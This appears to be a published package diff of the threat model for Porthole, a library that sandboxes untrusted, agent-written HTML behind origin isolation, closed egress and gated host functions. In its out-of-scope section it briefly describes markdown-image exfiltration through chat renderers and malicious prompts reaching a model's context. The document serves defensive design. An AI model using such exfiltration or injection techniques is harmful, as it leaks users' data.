@botiverse/porthole 0.16.0 → 0.16.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +12 -0
- package/dist/annotate/types.d.ts +15 -1
- package/dist/annotate/validate.js +19 -1
- package/dist/bridge/types.d.ts +1 -1
- package/dist/check/page-source.js +1 -1
- package/dist/conformance/harness-source.js +1 -1
- package/dist/host/create-host.js +2 -1
- package/dist/platform/types.d.ts +1 -1
- package/dist/shell/annotate.d.ts +3 -0
- package/dist/shell/annotate.js +15 -5
- package/docs/ADOPTING.md +393 -980
- package/docs/DECISIONS.md +57 -0
- package/docs/DESIGN.md +1099 -1336
- package/docs/PRINCIPLES.md +85 -1
- package/docs/THREAT_MODEL.md +655 -997
- package/package.json +1 -1
- package/src/annotate/types.ts +12 -1
- package/src/annotate/validate.ts +23 -1
- package/src/bridge/types.ts +1 -1
- package/src/host/create-host.ts +2 -1
- package/src/platform/types.ts +1 -1
- package/src/shell/annotate.ts +15 -5
- package/docs/ARCHITECTURE.md +0 -326
- package/docs/OBJECTIVES.md +0 -116
package/docs/THREAT_MODEL.md
CHANGED
|
@@ -1,122 +1,26 @@
|
|
|
1
1
|
# Threat model
|
|
2
2
|
|
|
3
|
-
What Porthole protects, from whom, and where that protection ends. For each
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
[DESIGN.md](DESIGN.md) lists every defense with the test that proves it.
|
|
7
|
-
|
|
8
|
-
**Status.** This describes Porthole 0.16.0 (2026-11-11). A review on 2026-10-19 found gaps, and every decision it led to
|
|
9
|
-
has merged ([§8](#8-fixes-in-flight) lists them). P096 changed the negative-control runner and CI,
|
|
10
|
-
and the shipped conformance probes' messages and timing, not what they check. P104 (0.9.0's
|
|
11
|
-
annotation markers) had a review of its own, and P105, in 0.10.0, is what it led to. 0.11.0 was
|
|
12
|
-
never published (its release stopped at the CI gate), and 0.12.0 carries all of it: draft marks
|
|
13
|
-
(P107, §7 "Drafts": what a page learns from them and who may receive them), an advisory lint
|
|
14
|
-
(P106, no change to isolation), and `comments.open` with a draft (P108, §7: the host's duties
|
|
15
|
-
around it). The review of 0.12.0's drafts led to P109, in 0.13.0: a display can take the keyboard, which
|
|
16
|
-
`createHost` now gives back (§6, §7 "The keyboard"); `comments.open` needs the person in the
|
|
17
|
-
calling frame; a page's draft text is stricter, and the composer it fills is the person's to act
|
|
18
|
-
on (§7). 0.13.0 also makes P106's lint fail soft and read only what it may (P110, no change to
|
|
19
|
-
isolation). 0.14.0 adds a nested page (P111, `nested: true`, S3): the framed address is Porthole's
|
|
20
|
-
shell alone and the page its opaque child, so a realm the page can't reach tells the host when the
|
|
21
|
-
person, not the page, pressed in it (§7 "The keyboard", `comments`); and P112's annotation
|
|
22
|
-
additions for a host's comment modes (hints, as every report is, §7). 0.14.1: P114
|
|
23
|
-
(porthole#56) serves a nested page's shell on a label of its own, on which nothing but nested
|
|
24
|
-
pages' shells, their pages, those pages' files and status pages is ever served, so no other
|
|
25
|
-
display of the scope is same-origin with the shell (S3). 0.14.8: P128 lets a host opt a config
|
|
26
|
-
into a page's own nested frames (`nestedFrames: "own"`, off by default): its `srcdoc` frames and
|
|
27
|
-
frames of its own files load and run, in realms the shell's hardening never reaches (WebRTC, the
|
|
28
|
-
clipboard's guards: S1, S3); frames of other sites stay out. 0.14.9: P131 adds find
|
|
29
|
-
in page (`find`, off unless a config declares it): the host's find bar sends the person's query
|
|
30
|
-
into the frame, where the content can read it, and takes counts, a box and the find shortcut back
|
|
31
|
-
as the content's word (§6, §7 "Find in page"); no wall moves. 0.14.10: P132 adds a mark's place in
|
|
32
|
-
the document and the document's scroll to annotation reports, unclamped, so a host must clip what it
|
|
33
|
-
draws from them to its own region (§6, §7); `rect` stays clamped and no wall moves. 0.14.11: P133
|
|
34
|
-
makes markers buttons in the frame's Tab order, reversing P104's "no tab stop": the page shares that
|
|
35
|
-
order, so it can steer or spoil the focus, and a host keeps its own list of marks (§7). A press only
|
|
36
|
-
reports `activated`, which the page could already fake; `lastLineDocumentRect` is unclamped, for a
|
|
37
|
-
host to clip as P132's are; no wall moves. 0.14.12: P134 adds `annotations.focusMark(id)`, the host's
|
|
38
|
-
word to put the keyboard back on a marker, and a second exception to "takes no focus" whose conditions
|
|
39
|
-
are the host's own (§6, §7); no wall moves. 0.14.13: P135 drops a `focusMark` that had to wait unless the focus is
|
|
40
|
-
in the frame's document by then; a call on a calm page is unchanged. 0.14.14: P136 brings `display.focus()`
|
|
41
|
-
through a nested page's shell with a new host-to-shell word no page can say; P137 applies P135's check to a
|
|
42
|
-
word 100 ms old or more; no wall moves. 0.14.15: P138 lets the host follow the current selection
|
|
43
|
-
(`selectionTracked`, the same boxes as `tracked`, on its budget, only while asked) and keeps what was
|
|
44
|
-
picked lit; no wall moves. 0.14.16: P139 has a shell on a tab of its own ask no host; P140 narrows P138: a pick stays lit, and a
|
|
45
|
-
selection is kept in the frame, only for a host that follows the selection (`keepSelection`), and a
|
|
46
|
-
host that follows none drops `selectionTracked` unread (§7). 0.14.17: P141 lets a host name the
|
|
47
|
-
origins of an outer page that frames its app (`framedBy`): each may be an ancestor of every frame,
|
|
48
|
-
above the host's own page, so it is in every `frame-ancestors`, and nowhere else; it is never a
|
|
49
|
-
host a frame hears or tells, and a page's `*` fallback is held to a parent named as a host origin
|
|
50
|
-
(§6 "What every host must do", S3). 0.14.18: P142 keeps a set's pages and links within a page from
|
|
51
|
-
starting the display again where there is no Navigation API, and where WebKit fires a frame's load
|
|
52
|
-
for a link within its document: the arriving page's notice is sent without the API, and a page
|
|
53
|
-
says it stayed; no wall moves, and the limit without the API is P079's, unchanged. 0.15.0: P143
|
|
54
|
-
lets a host that opts in (`embeds`) mint an embed grant: a public artifact page's answers say
|
|
55
|
-
`frame-ancestors *` for that session alone, and the page has no host: it hears no one, tells no
|
|
56
|
-
parent anything, and no capability, runtime host function or door is there (S4, §8). P144, after
|
|
57
|
-
Ferryman's audit of 0.14.17 and 0.14.18 (no P0, no new egress), amends P141: without `framedBy`
|
|
58
|
-
every header (every `frame-ancestors` and `script-src` hash) and the status, entry and door pages'
|
|
59
|
-
scripts and the nested page's shell are 0.14.16's again, byte for byte (0.14.17 had changed their
|
|
60
|
-
hashes, not what they do); the shell runtime every served document inlines is not (P142's
|
|
61
|
-
changes, and P143's `hostless` branches, inert where a plan names a host; no hash covers it: P145);
|
|
62
|
-
in the nesting P141 is for (the outer page, then the app's page, then content), content can message
|
|
63
|
-
the outer page and every frame in its tree and learn its origin, so the outer page must check every
|
|
64
|
-
message it takes, and S7's egress rule covers its frames (§6 "What every host must do", S7); and
|
|
65
|
-
`framedBy` is compared with the host origins as browsers serialize origins (`https://a.example:443`
|
|
66
|
-
is `https://a.example`).
|
|
67
|
-
0.15.1: P145, after Ferryman's audit of 0.15.0 (no P0, no escape, no new egress), amends P143 and
|
|
68
|
-
P144: their "byte for byte" is said as it holds (above); the host kit refuses an `access` answer
|
|
69
|
-
with `embed`, so a reader's issue endpoint never mints an embed session (S4); an embed page learns
|
|
70
|
-
where it is embedded (S4); and a host origin's or `framedBy`'s port is 1 to 65535, without a
|
|
71
|
-
leading zero, and its host as the URL parser gives it. No wall moves.
|
|
72
|
-
0.15.2: P147, annotations' marks ride the document's scroll: the boxes of the shell's layer are
|
|
73
|
-
placed down the document and moved by a scroll-driven animation in the layer's closed shadow root,
|
|
74
|
-
so they no longer trail the text for the frames before the scroll event is heard. No message and
|
|
75
|
-
no reading is added (the scroll offset was read already, P132), and the layer still adds nothing to
|
|
76
|
-
what a page can scroll. No wall moves.
|
|
77
|
-
0.15.3: P148, a nested page's real presses: the page's runtime tells its shell each press the
|
|
78
|
-
browser itself made (a mouse down, a finger up, Enter or Space on a native control, a click on
|
|
79
|
-
one), over a `MessagePort` the shell sends at each load and the runtime takes before any content
|
|
80
|
-
runs; the shell tells the host when it heard the last, and the host takes it as it takes the
|
|
81
|
-
shell's activation turning on (§7 "The keyboard"). It gives back what P111 accepted as a loss: a
|
|
82
|
-
press in the page within 5 s of the last gesture. It rests on the runtime's lock on
|
|
83
|
-
`document.open` and on a nested page's frames being opaque, and is not installed where either
|
|
84
|
-
fails. The nested shell's script and the served shell runtime change (their pins, P144 and P145).
|
|
85
|
-
Also in 0.15.3, after the audit of 0.15.1: the four helpers a content Worker of a host's own calls
|
|
86
|
-
with host origins (`statusPage`, `doorResponse`, `doorStatusResponse`, `nestedShellCsp`) check
|
|
87
|
-
each one and throw on a bad one, as P145 said they did; the origins are the host's own
|
|
88
|
-
configuration, never content's.
|
|
89
|
-
0.16.0: P149 takes out what guessed at the person's intent, and what was built to make the
|
|
90
|
-
guess better. Gone: nested pages (`nested: true`, P111 and all that followed it: the shell on a
|
|
91
|
-
label of its own, its word on the person's press, P114, P120 to P122, P136, P148); the focus
|
|
92
|
-
guard (P109: a display that takes the keyboard keeps it until the person clicks back, the
|
|
93
|
-
accepted risk of §5, now without a guard in front of it); the proof of a click asked of
|
|
94
|
-
`sendPrompt`, `openLink`, `downloadFile`, `comments.open`, `artifact.publish`, `assets.delete`
|
|
95
|
-
and a marker's `activated` (P105's second point). Kept: `copyText`'s click (the clipboard is the
|
|
96
|
-
person's, and nothing else stands between a page and it), every confirmation, every rate (the
|
|
97
|
-
three that had none get 30 a minute), the mute, and every isolation wall: no origin, sandbox,
|
|
98
|
-
CSP or message check changes. What a page gains is the power to ask at a moment it picks: a
|
|
99
|
-
confirmation the person didn't prompt, a composer or a comment view opening unasked. Each is a
|
|
100
|
-
nuisance a host bounds (it may refuse, back off, or name the `user-activation` gate again), and
|
|
101
|
-
none carries anything out or writes anything by itself (§5, §7).
|
|
3
|
+
What Porthole protects, from whom, and where that protection ends. For each use (S1–S7): what
|
|
4
|
+
Porthole guarantees, what the host must do, what is not guaranteed. Setup:
|
|
5
|
+
[ADOPTING.md](ADOPTING.md). How each defense works and which test proves it: [DESIGN.md](DESIGN.md).
|
|
102
6
|
|
|
103
|
-
|
|
7
|
+
**Status.** This describes the latest release. Changes: [CHANGELOG.md](../CHANGELOG.md); reasons:
|
|
8
|
+
[DECISIONS.md](DECISIONS.md).
|
|
104
9
|
|
|
105
|
-
|
|
10
|
+
## 1. Two layers
|
|
106
11
|
|
|
107
|
-
- **The display layer** shows untrusted HTML
|
|
108
|
-
host's, closes its network, runs a shell in its frame, gates
|
|
109
|
-
may call (send a prompt, open a link, copy text, read the host's
|
|
110
|
-
|
|
12
|
+
- **The display layer** shows untrusted HTML; most hosts need only this. From one config it puts
|
|
13
|
+
content on an origin that isn't the host's, closes its network, runs a shell in its frame, gates
|
|
14
|
+
the few host functions content may call (send a prompt, open a link, copy text, read the host's
|
|
15
|
+
data), and writes the agent's manual. Presets: `inlineWidget`, `liveWidget`, `artifact`, `mcpApp`,
|
|
111
16
|
`url`.
|
|
112
|
-
- **The app runtime
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
17
|
+
- **The app runtime**, off unless a config sets `runtime: "1"`, lets a page reach the host's
|
|
18
|
+
services through `porthole.use(name)` (`user`, `comments`, `artifact`, `assets`, `db`), as far as
|
|
19
|
+
its declaration and its viewer's level allow. It brings in the host's backend: who may call what,
|
|
20
|
+
per version, revocation, each person's data. A host that only shows content can skip it, and this
|
|
21
|
+
document's parts about it.
|
|
117
22
|
|
|
118
|
-
|
|
119
|
-
[§7](#7-the-display-layer-and-the-app-runtime) says what each layer guarantees.
|
|
23
|
+
What each layer guarantees: [§7](#7-the-display-layer-and-the-app-runtime).
|
|
120
24
|
|
|
121
25
|
## 2. What is protected
|
|
122
26
|
|
|
@@ -138,97 +42,80 @@ A host that only shows content can skip the app runtime, and the parts of this d
|
|
|
138
42
|
| (d) | The app being previewed | an app on a content origin (url mode) | S6 |
|
|
139
43
|
| (e) | Other content on the same page | a sibling frame | S7, and S2 |
|
|
140
44
|
|
|
141
|
-
The agent is itself a trust boundary
|
|
142
|
-
allowed CDN
|
|
143
|
-
the agent, but it is not a wall.
|
|
45
|
+
The agent is itself a trust boundary: what it writes is untrusted, and so is a library it loads from
|
|
46
|
+
an allowed CDN. The manual's advice to pin exact versions helps the agent; it is not a wall.
|
|
144
47
|
|
|
145
48
|
## 4. Two lines of defense
|
|
146
49
|
|
|
147
|
-
1. **
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
The leak suite attempts each channel in DESIGN.md's table from inside the content, on Chromium,
|
|
178
|
-
WebKit and Firefox, and most defenses have a negative control that takes the defense out to show
|
|
179
|
-
its probes then fail (DESIGN.md § "Egress hardening, each with its test"). CI runs every negative
|
|
180
|
-
control on all three engines on the commit of every release (P146: the release's gate requires
|
|
181
|
-
that run; a pull request's CI runs the suite on Chromium, with no control), and a control passes
|
|
182
|
-
only when its marked probes failed by their own assertion (P096).
|
|
50
|
+
1. **Origin isolation, against attacks on the host.** Content runs on an origin never the host's: an
|
|
51
|
+
opaque one (a `srcdoc` frame, `sandbox="allow-scripts"` and nothing else) or its own on a
|
|
52
|
+
separate registrable domain (served pages). Same-origin policy denies it the host's DOM, storage,
|
|
53
|
+
cookies and credentials; nothing secret of the host's is sent into the frame.
|
|
54
|
+
2. **Against leaking and deceiving**, which isolation doesn't stop:
|
|
55
|
+
- *Closed egress* by default: the frame's CSP; the shell's defenses where a CSP doesn't reach
|
|
56
|
+
(WebRTC, nested frames, resource hints); the embedding page's `frame-src` against the frame
|
|
57
|
+
navigating itself away. In a page's own frames (`nestedFrames: "own"`, P128, the host's opt-in)
|
|
58
|
+
the shell's defenses don't run, and the CSP alone closes the network.
|
|
59
|
+
- *Gates*: everything beyond drawing is a host function the config declares, behind a user
|
|
60
|
+
gesture, a person's confirmation, consent or a rate.
|
|
61
|
+
- *Approvals outside the frame*: the host draws confirmations and consent where content can't
|
|
62
|
+
draw over them.
|
|
63
|
+
- *Fallbacks on Porthole's word only*: the host's fallback for a frame that showed nothing (a
|
|
64
|
+
sign-in prompt or "you no longer have access", with a link) comes from Porthole's pages, never
|
|
65
|
+
from content (P124, P125; url-mode apps aside, S6). A served display speaks only through its
|
|
66
|
+
**door**, a page of Porthole's in a hidden frame no content can reach
|
|
67
|
+
([§7](#the-display-layer)).
|
|
68
|
+
|
|
69
|
+
The app runtime adds a third: **the host's API is the wall for its data.** Before any handler runs,
|
|
70
|
+
the bridge refuses a call the page didn't declare (`undeclared`) or the viewer's level doesn't
|
|
71
|
+
allow; the names a page declares in `data` hold with or without a viewer (P094). The host's API
|
|
72
|
+
checks again: a call reaching it another way can claim any viewer and any declaration.
|
|
73
|
+
|
|
74
|
+
**Tests** (DESIGN.md § "Egress hardening, each with its test"). The leak suite attempts each channel
|
|
75
|
+
from inside the content on Chromium, WebKit and Firefox. Most defenses have a negative control that
|
|
76
|
+
removes the defense to show its probes then fail; a control passes only when its marked probes
|
|
77
|
+
failed by their own assertion (P096). A release's gate needs every negative control to pass on all
|
|
78
|
+
three engines on its commit (P146). A pull request's CI runs the suite on Chromium, with no control.
|
|
183
79
|
|
|
184
80
|
## 5. Out of scope
|
|
185
81
|
|
|
186
82
|
Porthole does not protect against these.
|
|
187
83
|
|
|
188
84
|
- **Availability in the viewer's browser.** Content can loop, allocate without bound, or fill the
|
|
189
|
-
content domain's cookies.
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
- **
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
- **A
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
- **A page asking at a moment it picks** (accepted risk, P149). No proof of a click is asked of a
|
|
219
|
-
host function but `copyText`: a page can call `sendPrompt`, `openLink`, `downloadFile`,
|
|
220
|
-
`comments.open`, `artifact.publish` or `assets.delete` as it loads or on a timer. Each still
|
|
221
|
-
ends at the person (a confirmation with the whole effect, or a composer that posts nothing by
|
|
222
|
-
itself), within a rate, and declines mute the display; so the cost is an interruption, which
|
|
223
|
-
the host may refuse or space out. The click check it replaces proved little (any click on the
|
|
224
|
-
host's page in the last 5 s passed it) and refused real clicks where the engine didn't pass the
|
|
225
|
-
activation up.
|
|
226
|
-
- **Wrong results.** A chart can plot the wrong numbers, and a report can say false things.
|
|
85
|
+
content domain's cookies. There is no watchdog: only the load timeout watches a frame; nothing
|
|
86
|
+
unloads one that stops answering or limits its CPU or memory. An opaque frame may share the host
|
|
87
|
+
page's process (the browser decides), so its loop can stall the host's tab; a served frame is on
|
|
88
|
+
another site, which site isolation puts in its own process. In scope (SECURITY.md): a page or
|
|
89
|
+
request that can crash the host's server, and a message from content that makes the host's page do
|
|
90
|
+
unbounded work. Through Porthole's Node adapter no request ends the process; on any runtime the
|
|
91
|
+
issue endpoint reads at most 64 KiB of a body (P092). What content sends is read after its gate,
|
|
92
|
+
into bounded text, and none of it throws out of an adapter (P095).
|
|
93
|
+
- **Browser bugs, and engines the leak suite doesn't run.** The walls are the browser's own
|
|
94
|
+
(sandbox, CSP, same-origin policy, site isolation). The suite runs Chromium, WebKit and Firefox
|
|
95
|
+
through Playwright; other engines, versions and embedded WebViews are untested. Side channels
|
|
96
|
+
(timing, Spectre-class) are out too: an opaque frame sharing the host's process can learn about it
|
|
97
|
+
that way; domain mode puts content on another site, in its own process under site isolation.
|
|
98
|
+
- **Markdown-image exfiltration in chat renderers** (the EchoLeak and CamoLeak class: a reply holds
|
|
99
|
+
`` and the chat loads it). That is the chat rendering
|
|
100
|
+
model text; Porthole's walls cover HTML handed to a display.
|
|
101
|
+
- **Deceptive content**, a fake sign-in form included. Porthole limits where what is typed into it
|
|
102
|
+
can go and keeps the host's approvals outside the frame; it doesn't judge what content shows.
|
|
103
|
+
- **A display taking the keyboard** (accepted risk, P123, P149): content can move focus into its
|
|
104
|
+
frame and get the keys typed after that, until the person clicks back. Porthole has no guard; why,
|
|
105
|
+
and what holds: §7 "The keyboard".
|
|
106
|
+
- **A page asking at a moment it picks** (accepted risk, P149). Only `copyText` asks proof of a
|
|
107
|
+
click: a page can call `sendPrompt`, `openLink`, `downloadFile`, `comments.open`,
|
|
108
|
+
`artifact.publish` or `assets.delete` as it loads or on a timer. Each still ends at the person (a
|
|
109
|
+
confirmation with the whole effect, or a composer that posts nothing by itself), within a rate,
|
|
110
|
+
and declines mute the display: the cost is an interruption, which the host may refuse or space
|
|
111
|
+
out. A click check proved little (any click on the host's page in the last 5 s passed it) and
|
|
112
|
+
refused real clicks where the engine didn't pass the activation up.
|
|
113
|
+
- **Wrong results**: a chart with wrong numbers, a report saying false things.
|
|
227
114
|
- **Malicious prompts.** A gated `sendPrompt` hands the host's confirm function the whole text (the
|
|
228
|
-
default dialog shows all of it); whether
|
|
229
|
-
|
|
230
|
-
- **The sense of a confirmed action.** A confirmation
|
|
231
|
-
|
|
115
|
+
default dialog shows all of it); whether it is hostile is not Porthole's call, nor is text content
|
|
116
|
+
puts in the model's context (S5).
|
|
117
|
+
- **The sense of a confirmed action.** A confirmation gets the call and its arguments. Whether it is
|
|
118
|
+
wise is the person's decision; what the handler does is the host's.
|
|
232
119
|
|
|
233
120
|
## 6. Scenarios
|
|
234
121
|
|
|
@@ -244,122 +131,102 @@ Porthole does not protect against these.
|
|
|
244
131
|
|
|
245
132
|
### What every host must do
|
|
246
133
|
|
|
247
|
-
Whatever the use:
|
|
134
|
+
Whatever the use (how to wire each: [ADOPTING.md](ADOPTING.md)):
|
|
248
135
|
|
|
249
|
-
- Send `displays.embedderCsp(…)` (the page's `frame-src`) on every page that
|
|
250
|
-
run `defineHostConformance` against the real page in CI (S1
|
|
251
|
-
- Keep the
|
|
136
|
+
- **The page's CSP.** Send `displays.embedderCsp(…)` (the page's `frame-src`) on every page that
|
|
137
|
+
shows displays, and run `defineHostConformance` against the real page in CI (why: S1).
|
|
138
|
+
- **Gates.** Keep the defaults. A capability's `gates` in a config replace its defaults whole, even
|
|
252
139
|
`[]`; a preset's `options.capabilities` entry replaces the preset's whole entry, gates included
|
|
253
140
|
(`liveWidget({ capabilities: { readData: {} } })` drops its consent).
|
|
254
|
-
-
|
|
255
|
-
on the host's page outside every frame,
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
-
|
|
260
|
-
|
|
261
|
-
- Draw a frame's fallback (
|
|
262
|
-
from a message
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
(
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
host's own
|
|
297
|
-
|
|
298
|
-
Enter
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
must
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
domain for a shared site.
|
|
329
|
-
- Where another app frames yours (P141), name its origins in `framedBy`, never in `appOrigins`: it
|
|
330
|
-
may then be an ancestor of your frames, above your own page, and is never their host. Your page
|
|
331
|
-
must still be the frame's parent: an outer page that frames content directly (with an address it
|
|
332
|
-
got from somewhere) is let in by the browser, but the frame takes nothing from it (no handshake,
|
|
333
|
-
no host function), Porthole's own pages tell it nothing, and what it
|
|
334
|
-
can hear is the content's own word to its parent (`*`), which it must treat as untrusted. Your
|
|
335
|
-
app page's own `frame-ancestors` is yours to set; Porthole never sends it. Name exact origins of
|
|
336
|
-
that one product, and drop them when it stops framing you.
|
|
337
|
-
- In the nesting `framedBy` is for (the outer page, then your app's page, then content), content
|
|
338
|
-
is a descendant of the outer page (P144): it can `postMessage` the outer page (`top`) and every
|
|
339
|
-
frame in its tree, and learn the outer page's origin (measured in Chromium and Firefox). No
|
|
340
|
-
header stops that. Tell the outer page's authors: every message listener on the outer page and in
|
|
341
|
-
each of its frames must check `event.source` and `event.origin`, taking a message only from the
|
|
342
|
-
window and origin it expects (your app's page), and treat any other as content's untrusted word.
|
|
343
|
-
S7's rule now covers the outer page's frames: what content was given can be handed to any frame
|
|
344
|
-
the outer page shows, so the widest network among them is content's way out.
|
|
345
|
-
- Under the app runtime, run `defineRuntimeConformance` with `api` in CI (§7).
|
|
141
|
+
- **Your own dialogs.** A confirmation or consent you draw needs the default dialog's protections:
|
|
142
|
+
on the host's page outside every frame, the call's whole effect shown, Cancel focused, the accept
|
|
143
|
+
button ignoring presses for 500 ms after it opens (so a click meant for the content can't land on
|
|
144
|
+
it). The React binding's dialog does this for confirmations; consent is always the host's own UI.
|
|
145
|
+
Your own copy notice shows what went on the clipboard (S1).
|
|
146
|
+
- **Content's text** (its errors, a blocked navigation's address, an annotation's quoted text): show
|
|
147
|
+
it only as text, never as HTML.
|
|
148
|
+
- **Fallbacks.** Draw a frame's fallback (`frameFallback`'s words, or your own) from its `outcome`
|
|
149
|
+
alone, never from a message read off the frame's window. Log the `frame-status` and `door` host
|
|
150
|
+
errors and show nothing for them. What each outcome's word is worth: §7 "The host's fallback".
|
|
151
|
+
- **Annotations and find in page** (§7). Take reports as UI hints (where to draw, what to open),
|
|
152
|
+
never as permissions, and put nothing in a mark the page may not know. A mark's place in the
|
|
153
|
+
document (`documentRect`, with the report's `scroll`, P132), its last line's
|
|
154
|
+
(`lastLineDocumentRect`, P133) and the point an element was picked at (`pointDocument`, P150)
|
|
155
|
+
aren't clamped to the frame: clip what you draw from them to the frame's box, or to your own
|
|
156
|
+
region beside it. The page reads every query your find bar sends
|
|
157
|
+
(P131): declare `find` only for displays whose pages may learn what the person searches for (not a
|
|
158
|
+
third-party app with egress, S5, unless you accept that). Take its counts as the bar's numbers,
|
|
159
|
+
and open your bar on `findRequested`, nothing more.
|
|
160
|
+
- **Guard a view a frame's report opens or moves** (`activated`, `anchored`, `selected`, `tracked`,
|
|
161
|
+
`selectionTracked`): a comment's bubble, a composer, a card following its mark, a composer
|
|
162
|
+
following the selection (P138). The page picks when and where it appears, moves it up to 60 times
|
|
163
|
+
a second, and hides and reshows it with `inView`, so it can put it under a press meant for the
|
|
164
|
+
content (a double click on the content's button whose second click lands on the bubble). Such a
|
|
165
|
+
view, its menus and popovers included, portaled ones too (P105; code, the view `inert` while it
|
|
166
|
+
arms: ADOPTING.md § Annotations):
|
|
167
|
+
- takes no press of any kind for 500 ms after it appears or moves, nor one begun before (not a
|
|
168
|
+
`click` only: menu triggers act on `pointerdown`, menu items click on a release);
|
|
169
|
+
- opens beside the frame, not over the report's box, where the layout allows, and takes no focus
|
|
170
|
+
when it opens;
|
|
171
|
+
- has nothing one click away that posts, submits, resolves, deletes or discards (a draft's view,
|
|
172
|
+
P107, too: no "Post" or "Submit review").
|
|
173
|
+
|
|
174
|
+
Two exceptions to "no focus". *First (P112):* in a comment mode the person started (the host's own
|
|
175
|
+
control, never a report), a composer their selection opens (`selected`) may take focus with
|
|
176
|
+
`focusField` if all it can do is save a draft: nothing in it posts, submits or sends; Enter only
|
|
177
|
+
adds the draft to the batch (only the host's own "Submit N" control, outside the composer,
|
|
178
|
+
submits); it shows plainly that it is a draft; and the rest of the guard holds. The page still
|
|
179
|
+
picks when `selected` comes, so it can steer the next keys into a draft the person sees and can
|
|
180
|
+
discard, never send one. Otherwise it takes no focus. *Second (P134):* a host may move focus into
|
|
181
|
+
a view a report opened if its own `document.activeElement` is this frame, the focus goes only to a container that takes no input
|
|
182
|
+
(`tabindex="-1"`), never a field or button, and every control in the view that can write has the
|
|
183
|
+
host's own gate, so a forged opening and the keys after it can't submit. The gate covers keys too:
|
|
184
|
+
the view's key handlers and the host's page-wide shortcuts that write (an `r` that resolves,
|
|
185
|
+
Cmd+Enter that posts) need it (P137). That is the host's duty; Porthole doesn't guarantee it.
|
|
186
|
+
- **The keyboard.** A display can take it (§7 "The keyboard"). Where a field must never lose a key
|
|
187
|
+
to a page, show no untrusted display beside it. Move focus into a display with `display.focus()`,
|
|
188
|
+
into your composer with `focusField(field)`, not the field's `focus()` (Firefox ignores that while
|
|
189
|
+
a frame that takes focus back on its blur holds it).
|
|
190
|
+
- **`annotations.focusMark(id)`.** Call it only as the person's key closes your view of that mark.
|
|
191
|
+
It can be dropped, silently (P135, P137): one that waits while the frame finds its marks, or
|
|
192
|
+
reaches the frame over 100 ms after you sent it because its page is busy, lands only if the focus
|
|
193
|
+
is in the frame by then, and normally it is on your `<body>`. If it is still there a moment later
|
|
194
|
+
the person hasn't moved on: `display.focus()`, then `focusMark(id)` again. Check first: that move
|
|
195
|
+
is yours, and after the person went on to a button of yours it takes the keyboard from them.
|
|
196
|
+
Nothing leaks either way.
|
|
197
|
+
- **`appOrigins`** (`hostOrigins` in `/server`): list every app origin. Only those may frame
|
|
198
|
+
content, are a frame's host (heard and told), and are checked against the content domain for a
|
|
199
|
+
shared site.
|
|
200
|
+
- **`framedBy`** (P141). Where another app frames yours, name its origins in `framedBy`, never
|
|
201
|
+
`appOrigins`: it may then be an ancestor of your frames, above your page, never their host; your
|
|
202
|
+
page must still be the frame's parent. An outer page that frames content directly (with an address
|
|
203
|
+
got elsewhere) is let in by the browser, but the frame takes nothing from it (no handshake, no
|
|
204
|
+
host function), Porthole's pages tell it nothing, and it hears only content's own word to its
|
|
205
|
+
parent (`*`), untrusted. Your app page's `frame-ancestors` is yours to set; Porthole never sends
|
|
206
|
+
it. Name exact origins of that one product; drop them when it stops framing you.
|
|
207
|
+
- **The outer page** (P144). In that nesting (outer page, your app's page, content), content is a
|
|
208
|
+
descendant of the outer page: it can `postMessage` the outer page (`top`) and every frame in its
|
|
209
|
+
tree, and learn the outer page's origin (measured in Chromium and Firefox); no header stops that.
|
|
210
|
+
Tell its authors: every message listener on the outer page and its frames must check
|
|
211
|
+
`event.source` and `event.origin`, take a message only from the window and origin it expects (your
|
|
212
|
+
app's page), and treat any other as content's untrusted word. By S7's rule, the widest network
|
|
213
|
+
among the outer page's frames is content's way out.
|
|
214
|
+
- **The app runtime.** Run `defineRuntimeConformance` with `api` in CI (§7).
|
|
346
215
|
|
|
347
216
|
### S1. Inline widgets in a conversation
|
|
348
217
|
|
|
349
218
|
